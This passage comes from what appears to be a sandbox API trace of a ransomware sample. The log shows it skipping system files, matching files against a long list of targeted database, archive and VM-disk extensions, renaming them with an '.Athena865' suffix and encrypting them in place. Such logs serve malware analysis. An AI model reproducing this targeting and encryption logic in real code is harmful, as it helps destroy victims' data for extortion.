Flags=0x8, Size=0x100) returned 0x52ba90 [0073.922] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0073.922] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0073.922] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0073.922] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0073.922] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0073.922] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0073.922] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0073.922] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0073.923] CloseHandle (hObject=0x17c) returned 1 [0073.923] CloseHandle (hObject=0x154) returned 1 [0073.923] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0073.923] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0073.924] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0073.924] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb117c800, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb117c800, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x2ada0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IXOLEDB.PDL", cAlternateFileName="")) returned 1 [0073.924] lstrcmpiW (lpString1="IXOLEDB.PDL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0073.924] lstrcmpiW (lpString1="IXOLEDB.PDL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0073.924] lstrcmpiW (lpString1="IXOLEDB.PDL", lpString2=".") returned 1 [0073.924] lstrcmpiW (lpString1="IXOLEDB.PDL", lpString2="..") returned 1 [0073.924] lstrcmpiW (lpString1="IXOLEDB.PDL", lpString2="windows") returned -1 [0073.924] lstrcmpiW (lpString1="IXOLEDB.PDL", lpString2="bootmgr") returned 1 [0073.924] lstrcmpiW (lpString1="IXOLEDB.PDL", lpString2="temp") returned -1 [0073.924] lstrcmpiW (lpString1="IXOLEDB.PDL", lpString2="pagefile.sys") returned -1 [0073.924] lstrcmpiW (lpString1="IXOLEDB.PDL", lpString2="boot") returned 1 [0073.924] lstrcmpiW (lpString1="IXOLEDB.PDL", lpString2="ids.txt") returned 1 [0073.924] lstrcmpiW (lpString1="IXOLEDB.PDL", lpString2="ntuser.dat") returned -1 [0073.924] lstrcmpiW (lpString1="IXOLEDB.PDL", lpString2="perflogs") returned -1 [0073.924] lstrcmpiW (lpString1="IXOLEDB.PDL", lpString2="MSBuild") returned -1 [0073.925] lstrlenW (lpString="IXOLEDB.PDL") returned 11 [0073.925] lstrcpyW (in: lpString1=0x241e89e, lpString2="IXOLEDB.PDL" | out: lpString1="IXOLEDB.PDL") returned="IXOLEDB.PDL" [0073.925] lstrlenW (lpString="IXOLEDB.PDL") returned 11 [0073.925] lstrlenW (lpString="Athena865") returned 9 [0073.925] lstrcmpiW (lpString1="OLEDB.PDL", lpString2="Athena865") returned 1 [0073.925] lstrlenW (lpString=".dll") returned 4 [0073.925] lstrcmpiW (lpString1="IXOLEDB.PDL", lpString2=".dll") returned 1 [0073.925] lstrlenW (lpString=".lnk") returned 4 [0073.925] lstrcmpiW (lpString1="IXOLEDB.PDL", lpString2=".lnk") returned 1 [0073.925] lstrlenW (lpString=".ini") returned 4 [0073.925] lstrcmpiW (lpString1="IXOLEDB.PDL", lpString2=".ini") returned 1 [0073.925] lstrlenW (lpString=".sys") returned 4 [0073.925] lstrcmpiW (lpString1="IXOLEDB.PDL", lpString2=".sys") returned 1 [0073.925] lstrlenW (lpString="IXOLEDB.PDL") returned 11 [0073.925] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\IXOLEDB.PDL.Athena865") returned 64 [0073.925] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXOLEDB.PDL" (normalized: "c:\\program files\\microsoft office\\office14\\ixoledb.pdl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXOLEDB.PDL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ixoledb.pdl.athena865"), dwFlags=0x1) returned 1 [0073.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXOLEDB.PDL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ixoledb.pdl.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0073.926] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=175520) returned 1 [0073.926] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0073.926] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0073.926] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0073.927] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0073.927] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0073.927] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0073.928] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2b0a0, lpName=0x0) returned 0x17c [0073.929] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2b0a0) returned 0x170000 [0073.935] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0073.936] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0073.936] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0073.936] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0073.936] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0073.936] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0073.936] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0073.936] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0073.936] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0073.936] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0073.937] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0073.937] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0073.937] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0073.937] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0073.938] CloseHandle (hObject=0x17c) returned 1 [0073.938] CloseHandle (hObject=0x154) returned 1 [0073.938] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0073.938] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0073.938] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0073.939] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb117c800, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb117c800, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x63fa0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IXORACLE.PDL", cAlternateFileName="")) returned 1 [0073.939] lstrcmpiW (lpString1="IXORACLE.PDL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0073.939] lstrcmpiW (lpString1="IXORACLE.PDL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0073.939] lstrcmpiW (lpString1="IXORACLE.PDL", lpString2=".") returned 1 [0073.939] lstrcmpiW (lpString1="IXORACLE.PDL", lpString2="..") returned 1 [0073.940] lstrcmpiW (lpString1="IXORACLE.PDL", lpString2="windows") returned -1 [0073.940] lstrcmpiW (lpString1="IXORACLE.PDL", lpString2="bootmgr") returned 1 [0073.940] lstrcmpiW (lpString1="IXORACLE.PDL", lpString2="temp") returned -1 [0073.940] lstrcmpiW (lpString1="IXORACLE.PDL", lpString2="pagefile.sys") returned -1 [0073.940] lstrcmpiW (lpString1="IXORACLE.PDL", lpString2="boot") returned 1 [0073.940] lstrcmpiW (lpString1="IXORACLE.PDL", lpString2="ids.txt") returned 1 [0073.940] lstrcmpiW (lpString1="IXORACLE.PDL", lpString2="ntuser.dat") returned -1 [0073.940] lstrcmpiW (lpString1="IXORACLE.PDL", lpString2="perflogs") returned -1 [0073.940] lstrcmpiW (lpString1="IXORACLE.PDL", lpString2="MSBuild") returned -1 [0073.940] lstrlenW (lpString="IXORACLE.PDL") returned 12 [0073.940] lstrcpyW (in: lpString1=0x241e89e, lpString2="IXORACLE.PDL" | out: lpString1="IXORACLE.PDL") returned="IXORACLE.PDL" [0073.940] lstrlenW (lpString="IXORACLE.PDL") returned 12 [0073.940] lstrlenW (lpString="Athena865") returned 9 [0073.940] lstrcmpiW (lpString1="RACLE.PDL", lpString2="Athena865") returned 1 [0073.940] lstrlenW (lpString=".dll") returned 4 [0073.940] lstrcmpiW (lpString1="IXORACLE.PDL", lpString2=".dll") returned 1 [0073.940] lstrlenW (lpString=".lnk") returned 4 [0073.940] lstrcmpiW (lpString1="IXORACLE.PDL", lpString2=".lnk") returned 1 [0073.940] lstrlenW (lpString=".ini") returned 4 [0073.940] lstrcmpiW (lpString1="IXORACLE.PDL", lpString2=".ini") returned 1 [0073.940] lstrlenW (lpString=".sys") returned 4 [0073.940] lstrcmpiW (lpString1="IXORACLE.PDL", lpString2=".sys") returned 1 [0073.940] lstrlenW (lpString="IXORACLE.PDL") returned 12 [0073.940] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\IXORACLE.PDL.Athena865") returned 65 [0073.940] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXORACLE.PDL" (normalized: "c:\\program files\\microsoft office\\office14\\ixoracle.pdl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXORACLE.PDL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ixoracle.pdl.athena865"), dwFlags=0x1) returned 1 [0073.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXORACLE.PDL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ixoracle.pdl.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0073.941] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=409504) returned 1 [0073.941] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0073.942] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0073.942] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0073.942] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0073.942] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0073.942] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0073.942] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x642a0, lpName=0x0) returned 0x17c [0073.944] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x642a0) returned 0x2d50000 [0073.968] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0073.968] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0073.968] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0073.968] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0073.968] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0073.968] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0073.968] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0073.968] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0073.968] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0073.969] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0073.969] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0073.969] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0073.969] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0073.969] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0073.972] CloseHandle (hObject=0x17c) returned 1 [0073.972] CloseHandle (hObject=0x154) returned 1 [0073.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0073.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0073.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0073.974] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac531400, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xac531400, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x2fda8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IXSSRV.PDL", cAlternateFileName="")) returned 1 [0073.974] lstrcmpiW (lpString1="IXSSRV.PDL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0073.974] lstrcmpiW (lpString1="IXSSRV.PDL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0073.974] lstrcmpiW (lpString1="IXSSRV.PDL", lpString2=".") returned 1 [0073.974] lstrcmpiW (lpString1="IXSSRV.PDL", lpString2="..") returned 1 [0073.974] lstrcmpiW (lpString1="IXSSRV.PDL", lpString2="windows") returned -1 [0073.974] lstrcmpiW (lpString1="IXSSRV.PDL", lpString2="bootmgr") returned 1 [0073.974] lstrcmpiW (lpString1="IXSSRV.PDL", lpString2="temp") returned -1 [0073.974] lstrcmpiW (lpString1="IXSSRV.PDL", lpString2="pagefile.sys") returned -1 [0073.975] lstrcmpiW (lpString1="IXSSRV.PDL", lpString2="boot") returned 1 [0073.975] lstrcmpiW (lpString1="IXSSRV.PDL", lpString2="ids.txt") returned 1 [0073.975] lstrcmpiW (lpString1="IXSSRV.PDL", lpString2="ntuser.dat") returned -1 [0073.975] lstrcmpiW (lpString1="IXSSRV.PDL", lpString2="perflogs") returned -1 [0073.975] lstrcmpiW (lpString1="IXSSRV.PDL", lpString2="MSBuild") returned -1 [0073.975] lstrlenW (lpString="IXSSRV.PDL") returned 10 [0073.975] lstrcpyW (in: lpString1=0x241e89e, lpString2="IXSSRV.PDL" | out: lpString1="IXSSRV.PDL") returned="IXSSRV.PDL" [0073.975] lstrlenW (lpString="IXSSRV.PDL") returned 10 [0073.975] lstrlenW (lpString="Athena865") returned 9 [0073.975] lstrcmpiW (lpString1="XSSRV.PDL", lpString2="Athena865") returned 1 [0073.975] lstrlenW (lpString=".dll") returned 4 [0073.975] lstrcmpiW (lpString1="IXSSRV.PDL", lpString2=".dll") returned 1 [0073.975] lstrlenW (lpString=".lnk") returned 4 [0073.975] lstrcmpiW (lpString1="IXSSRV.PDL", lpString2=".lnk") returned 1 [0073.975] lstrlenW (lpString=".ini") returned 4 [0073.975] lstrcmpiW (lpString1="IXSSRV.PDL", lpString2=".ini") returned 1 [0073.975] lstrlenW (lpString=".sys") returned 4 [0073.975] lstrcmpiW (lpString1="IXSSRV.PDL", lpString2=".sys") returned 1 [0073.975] lstrlenW (lpString="IXSSRV.PDL") returned 10 [0073.975] lstrlenW (lpString="bak") returned 3 [0073.975] lstrcmpiW (lpString1="PDL", lpString2="bak") returned 1 [0073.975] lstrlenW (lpString="ba_") returned 3 [0073.975] lstrcmpiW (lpString1="PDL", lpString2="ba_") returned 1 [0073.975] lstrlenW (lpString="dbb") returned 3 [0073.975] lstrcmpiW (lpString1="PDL", lpString2="dbb") returned 1 [0073.975] lstrlenW (lpString="vmdk") returned 4 [0073.975] lstrcmpiW (lpString1=".PDL", lpString2="vmdk") returned -1 [0073.975] lstrlenW (lpString="rar") returned 3 [0073.975] lstrcmpiW (lpString1="PDL", lpString2="rar") returned -1 [0073.975] lstrlenW (lpString="zip") returned 3 [0073.975] lstrcmpiW (lpString1="PDL", lpString2="zip") returned -1 [0073.975] lstrlenW (lpString="tgz") returned 3 [0073.975] lstrcmpiW (lpString1="PDL", lpString2="tgz") returned -1 [0073.975] lstrlenW (lpString="vbox") returned 4 [0073.976] lstrcmpiW (lpString1=".PDL", lpString2="vbox") returned -1 [0073.976] lstrlenW (lpString="vdi") returned 3 [0073.976] lstrcmpiW (lpString1="PDL", lpString2="vdi") returned -1 [0073.976] lstrlenW (lpString="vhd") returned 3 [0073.976] lstrcmpiW (lpString1="PDL", lpString2="vhd") returned -1 [0073.976] lstrlenW (lpString="vhdx") returned 4 [0073.976] lstrcmpiW (lpString1=".PDL", lpString2="vhdx") returned -1 [0073.976] lstrlenW (lpString="avhd") returned 4 [0073.976] lstrcmpiW (lpString1=".PDL", lpString2="avhd") returned -1 [0073.976] lstrlenW (lpString="db") returned 2 [0073.976] lstrcmpiW (lpString1="DL", lpString2="db") returned 1 [0073.976] lstrlenW (lpString="db2") returned 3 [0073.976] lstrcmpiW (lpString1="PDL", lpString2="db2") returned 1 [0073.976] lstrlenW (lpString="db3") returned 3 [0073.976] lstrcmpiW (lpString1="PDL", lpString2="db3") returned 1 [0073.976] lstrlenW (lpString="dbf") returned 3 [0073.976] lstrcmpiW (lpString1="PDL", lpString2="dbf") returned 1 [0073.976] lstrlenW (lpString="mdf") returned 3 [0073.976] lstrcmpiW (lpString1="PDL", lpString2="mdf") returned 1 [0073.976] lstrlenW (lpString="mdb") returned 3 [0073.976] lstrcmpiW (lpString1="PDL", lpString2="mdb") returned 1 [0073.976] lstrlenW (lpString="sql") returned 3 [0073.976] lstrcmpiW (lpString1="PDL", lpString2="sql") returned -1 [0073.976] lstrlenW (lpString="sqlite") returned 6 [0073.976] lstrcmpiW (lpString1="RV.PDL", lpString2="sqlite") returned -1 [0073.976] lstrlenW (lpString="sqlite3") returned 7 [0073.976] lstrcmpiW (lpString1="SRV.PDL", lpString2="sqlite3") returned 1 [0073.976] lstrlenW (lpString="sqlitedb") returned 8 [0073.976] lstrcmpiW (lpString1="SSRV.PDL", lpString2="sqlitedb") returned 1 [0073.976] lstrlenW (lpString="xml") returned 3 [0073.976] lstrcmpiW (lpString1="PDL", lpString2="xml") returned -1 [0073.976] lstrlenW (lpString="$er") returned 3 [0073.976] lstrcmpiW (lpString1="PDL", lpString2="$er") returned 1 [0073.976] lstrlenW (lpString="4dd") returned 3 [0073.976] lstrcmpiW (lpString1="PDL", lpString2="4dd") returned 1 [0073.977] lstrlenW (lpString="4dl") returned 3 [0073.977] lstrcmpiW (lpString1="PDL", lpString2="4dl") returned 1 [0073.977] lstrlenW (lpString="^^^") returned 3 [0073.977] lstrcmpiW (lpString1="PDL", lpString2="^^^") returned 1 [0073.977] lstrlenW (lpString="abs") returned 3 [0073.977] lstrcmpiW (lpString1="PDL", lpString2="abs") returned 1 [0073.977] lstrlenW (lpString="abx") returned 3 [0073.977] lstrcmpiW (lpString1="PDL", lpString2="abx") returned 1 [0073.977] lstrlenW (lpString="accdb") returned 5 [0073.977] lstrcmpiW (lpString1="V.PDL", lpString2="accdb") returned 1 [0073.977] lstrlenW (lpString="accdc") returned 5 [0073.977] lstrcmpiW (lpString1="V.PDL", lpString2="accdc") returned 1 [0073.977] lstrlenW (lpString="accde") returned 5 [0073.977] lstrcmpiW (lpString1="V.PDL", lpString2="accde") returned 1 [0073.977] lstrlenW (lpString="accdr") returned 5 [0073.977] lstrcmpiW (lpString1="V.PDL", lpString2="accdr") returned 1 [0073.977] lstrlenW (lpString="accdt") returned 5 [0073.977] lstrcmpiW (lpString1="V.PDL", lpString2="accdt") returned 1 [0073.977] lstrlenW (lpString="accdw") returned 5 [0073.977] lstrcmpiW (lpString1="V.PDL", lpString2="accdw") returned 1 [0073.977] lstrlenW (lpString="accft") returned 5 [0073.977] lstrcmpiW (lpString1="V.PDL", lpString2="accft") returned 1 [0073.977] lstrlenW (lpString="adb") returned 3 [0073.977] lstrcmpiW (lpString1="PDL", lpString2="adb") returned 1 [0073.977] lstrlenW (lpString="adb") returned 3 [0073.977] lstrcmpiW (lpString1="PDL", lpString2="adb") returned 1 [0073.977] lstrlenW (lpString="ade") returned 3 [0073.977] lstrcmpiW (lpString1="PDL", lpString2="ade") returned 1 [0073.977] lstrlenW (lpString="adf") returned 3 [0073.977] lstrcmpiW (lpString1="PDL", lpString2="adf") returned 1 [0073.977] lstrlenW (lpString="adn") returned 3 [0073.978] lstrcmpiW (lpString1="PDL", lpString2="adn") returned 1 [0073.978] lstrlenW (lpString="adp") returned 3 [0073.978] lstrcmpiW (lpString1="PDL", lpString2="adp") returned 1 [0073.978] lstrlenW (lpString="alf") returned 3 [0073.978] lstrcmpiW (lpString1="PDL", lpString2="alf") returned 1 [0073.978] lstrlenW (lpString="ask") returned 3 [0073.978] lstrcmpiW (lpString1="PDL", lpString2="ask") returned 1 [0073.978] lstrlenW (lpString="btr") returned 3 [0073.978] lstrcmpiW (lpString1="PDL", lpString2="btr") returned 1 [0073.978] lstrlenW (lpString="cat") returned 3 [0073.978] lstrcmpiW (lpString1="PDL", lpString2="cat") returned 1 [0073.978] lstrlenW (lpString="cdb") returned 3 [0073.978] lstrcmpiW (lpString1="PDL", lpString2="cdb") returned 1 [0073.978] lstrlenW (lpString="ckp") returned 3 [0073.978] lstrcmpiW (lpString1="PDL", lpString2="ckp") returned 1 [0073.978] lstrlenW (lpString="cma") returned 3 [0073.978] lstrcmpiW (lpString1="PDL", lpString2="cma") returned 1 [0073.978] lstrlenW (lpString="cpd") returned 3 [0073.978] lstrcmpiW (lpString1="PDL", lpString2="cpd") returned 1 [0073.978] lstrlenW (lpString="dacpac") returned 6 [0073.978] lstrcmpiW (lpString1="RV.PDL", lpString2="dacpac") returned 1 [0073.978] lstrlenW (lpString="dad") returned 3 [0073.978] lstrcmpiW (lpString1="PDL", lpString2="dad") returned 1 [0073.978] lstrlenW (lpString="dadiagrams") returned 10 [0073.978] lstrlenW (lpString="daschema") returned 8 [0073.978] lstrcmpiW (lpString1="SSRV.PDL", lpString2="daschema") returned 1 [0073.978] lstrlenW (lpString="db-journal") returned 10 [0073.978] lstrlenW (lpString="db-shm") returned 6 [0073.978] lstrcmpiW (lpString1="RV.PDL", lpString2="db-shm") returned 1 [0073.978] lstrlenW (lpString="db-wal") returned 6 [0073.978] lstrcmpiW (lpString1="RV.PDL", lpString2="db-wal") returned 1 [0073.978] lstrlenW (lpString="dbc") returned 3 [0073.979] lstrcmpiW (lpString1="PDL", lpString2="dbc") returned 1 [0073.979] lstrlenW (lpString="dbs") returned 3 [0073.979] lstrcmpiW (lpString1="PDL", lpString2="dbs") returned 1 [0073.979] lstrlenW (lpString="dbt") returned 3 [0073.979] lstrcmpiW (lpString1="PDL", lpString2="dbt") returned 1 [0073.979] lstrlenW (lpString="dbv") returned 3 [0073.979] lstrcmpiW (lpString1="PDL", lpString2="dbv") returned 1 [0073.979] lstrlenW (lpString="dbx") returned 3 [0073.979] lstrcmpiW (lpString1="PDL", lpString2="dbx") returned 1 [0073.979] lstrlenW (lpString="dcb") returned 3 [0073.979] lstrcmpiW (lpString1="PDL", lpString2="dcb") returned 1 [0073.979] lstrlenW (lpString="dct") returned 3 [0073.979] lstrcmpiW (lpString1="PDL", lpString2="dct") returned 1 [0073.979] lstrlenW (lpString="dcx") returned 3 [0073.979] lstrcmpiW (lpString1="PDL", lpString2="dcx") returned 1 [0073.979] lstrlenW (lpString="ddl") returned 3 [0073.979] lstrcmpiW (lpString1="PDL", lpString2="ddl") returned 1 [0073.979] lstrlenW (lpString="dlis") returned 4 [0073.979] lstrcmpiW (lpString1=".PDL", lpString2="dlis") returned -1 [0073.979] lstrlenW (lpString="dp1") returned 3 [0073.979] lstrcmpiW (lpString1="PDL", lpString2="dp1") returned 1 [0073.979] lstrlenW (lpString="dqy") returned 3 [0073.979] lstrcmpiW (lpString1="PDL", lpString2="dqy") returned 1 [0073.979] lstrlenW (lpString="dsk") returned 3 [0073.979] lstrcmpiW (lpString1="PDL", lpString2="dsk") returned 1 [0073.979] lstrlenW (lpString="dsn") returned 3 [0073.979] lstrcmpiW (lpString1="PDL", lpString2="dsn") returned 1 [0073.979] lstrlenW (lpString="dtsx") returned 4 [0073.979] lstrcmpiW (lpString1=".PDL", lpString2="dtsx") returned -1 [0073.979] lstrlenW (lpString="dxl") returned 3 [0073.979] lstrcmpiW (lpString1="PDL", lpString2="dxl") returned 1 [0073.979] lstrlenW (lpString="eco") returned 3 [0073.979] lstrcmpiW (lpString1="PDL", lpString2="eco") returned 1 [0073.980] lstrlenW (lpString="ecx") returned 3 [0073.980] lstrcmpiW (lpString1="PDL", lpString2="ecx") returned 1 [0073.980] lstrlenW (lpString="edb") returned 3 [0073.980] lstrcmpiW (lpString1="PDL", lpString2="edb") returned 1 [0073.980] lstrlenW (lpString="epim") returned 4 [0073.980] lstrcmpiW (lpString1=".PDL", lpString2="epim") returned -1 [0073.980] lstrlenW (lpString="fcd") returned 3 [0073.980] lstrcmpiW (lpString1="PDL", lpString2="fcd") returned 1 [0073.980] lstrlenW (lpString="fdb") returned 3 [0073.980] lstrcmpiW (lpString1="PDL", lpString2="fdb") returned 1 [0073.980] lstrlenW (lpString="fic") returned 3 [0073.980] lstrcmpiW (lpString1="PDL", lpString2="fic") returned 1 [0073.980] lstrlenW (lpString="flexolibrary") returned 12 [0073.980] lstrlenW (lpString="fm5") returned 3 [0073.980] lstrcmpiW (lpString1="PDL", lpString2="fm5") returned 1 [0073.980] lstrlenW (lpString="fmp") returned 3 [0073.980] lstrcmpiW (lpString1="PDL", lpString2="fmp") returned 1 [0073.980] lstrlenW (lpString="fmp12") returned 5 [0073.980] lstrcmpiW (lpString1="V.PDL", lpString2="fmp12") returned 1 [0073.980] lstrlenW (lpString="fmpsl") returned 5 [0073.980] 